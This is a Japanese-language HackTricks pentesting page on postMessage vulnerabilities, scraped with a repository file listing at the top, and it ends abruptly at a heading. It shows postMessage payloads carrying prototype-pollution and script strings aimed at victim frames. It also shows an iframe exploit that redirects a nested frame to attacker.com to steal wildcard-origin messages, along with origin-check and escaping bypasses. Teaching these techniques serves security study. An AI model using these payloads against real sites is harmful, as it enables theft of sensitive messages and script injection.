hacktricks/pentesting-web/postmessage-vulnerabilities
2024-02-09 08:23:12 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
bypassing-sop-with-iframes-1.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
bypassing-sop-with-iframes-2.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
README.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00
steal-postmessage-modifying-iframe-location.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:23:12 +00:00

PostMessageの脆弱性

PostMessageの脆弱性

**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

PostMessageを送信する

PostMessageは、次の関数を使用してメッセージを送信します:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

注意してください。targetOrigin は '*' または https://company.com のような URL になります。
第二のシナリオでは、メッセージはそのドメインにのみ送信されます(たとえウィンドウオブジェクトのオリジンが異なっていても)。
ワイルドカードが使用されると、メッセージは任意のドメインに送信され、ウィンドウオブジェクトのオリジンに送信されます。

iframe と targetOrigin のワイルドカードへの攻撃

このレポートで説明されているように、X-Frame-Header 保護がないページを見つけ、ワイルドカード (*) を使用して postMessage を介して 機密情報を送信しているページが iframed できる場合、iframeorigin変更して、機密 メッセージを自分が制御するドメインに 漏洩 させることができます。
ページが iframed できるが targetOriginURL に設定されていてワイルドカードではない場合、この トリックは機能しません

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListenerの悪用

addEventListenerは、JSがpostMessagesを受信する関数を宣言するために使用される関数です。
次のようなコードが使用されます:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

列挙

現在のページでイベントリスナーを見つけるには、次のことができます:

  • JSコードを検索してwindow.addEventListener$(window).onJQueryバージョン)を検索します
  • 開発者ツールのコンソールで実行します:getEventListeners(window)

  • ブラウザの開発者ツールで_Elements --> Event Listeners_に移動します

オリジンチェックのバイパス

  • **event.isTrusted**属性は、本物のユーザーアクションによって生成されたイベントにのみTrueを返すため、セキュアと見なされます。正しく実装されていればバイパスするのは難しいですが、セキュリティチェックでの重要性は顕著です。

  • PostMessageイベントでのオリジン検証に**indexOf()**を使用すると、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search()の**search()**メソッドは正規表現を想定しており、文字列ではありません。正規表現以外のものを渡すと、暗黙のうちに正規表現に変換され、メソッドが潜在的にセキュリティリスクを生じる可能性があります。たとえば:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • **match()**関数は、search()と同様に正規表現を処理します。正規表現が適切に構造化されていない場合、バイパスされる可能性があります。

  • **escapeHtml**関数は、文字をエスケープして入力を無害化することを意図しています。ただし、新しいエスケープされたオブジェクトを作成せず、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティがhasOwnPropertyを認識しない場合、escapeHtmlは期待どおりに機能しません。以下の例で示されています:

  • 期待される失敗:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • エスケープのバイパス:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

この脆弱性の文脈では、Fileオブジェクトは、読み取り専用のnameプロパティを持つため、escapeHtml関数によって無害化されないことが特に悪用されやすいです。このプロパティは、テンプレートで使用されるときにescapeHtml関数によって無害化されず、潜在的なセキュリティリスクを引き起こす可能性があります。

  • JavaScriptのdocument.domainプロパティは、ドメインを短縮するためにスクリプトによって設定でき、同じ親ドメイン内でより緩和された同一オリジンポリシーの適用を可能にします。

e.origin == window.origin バイパス

%%%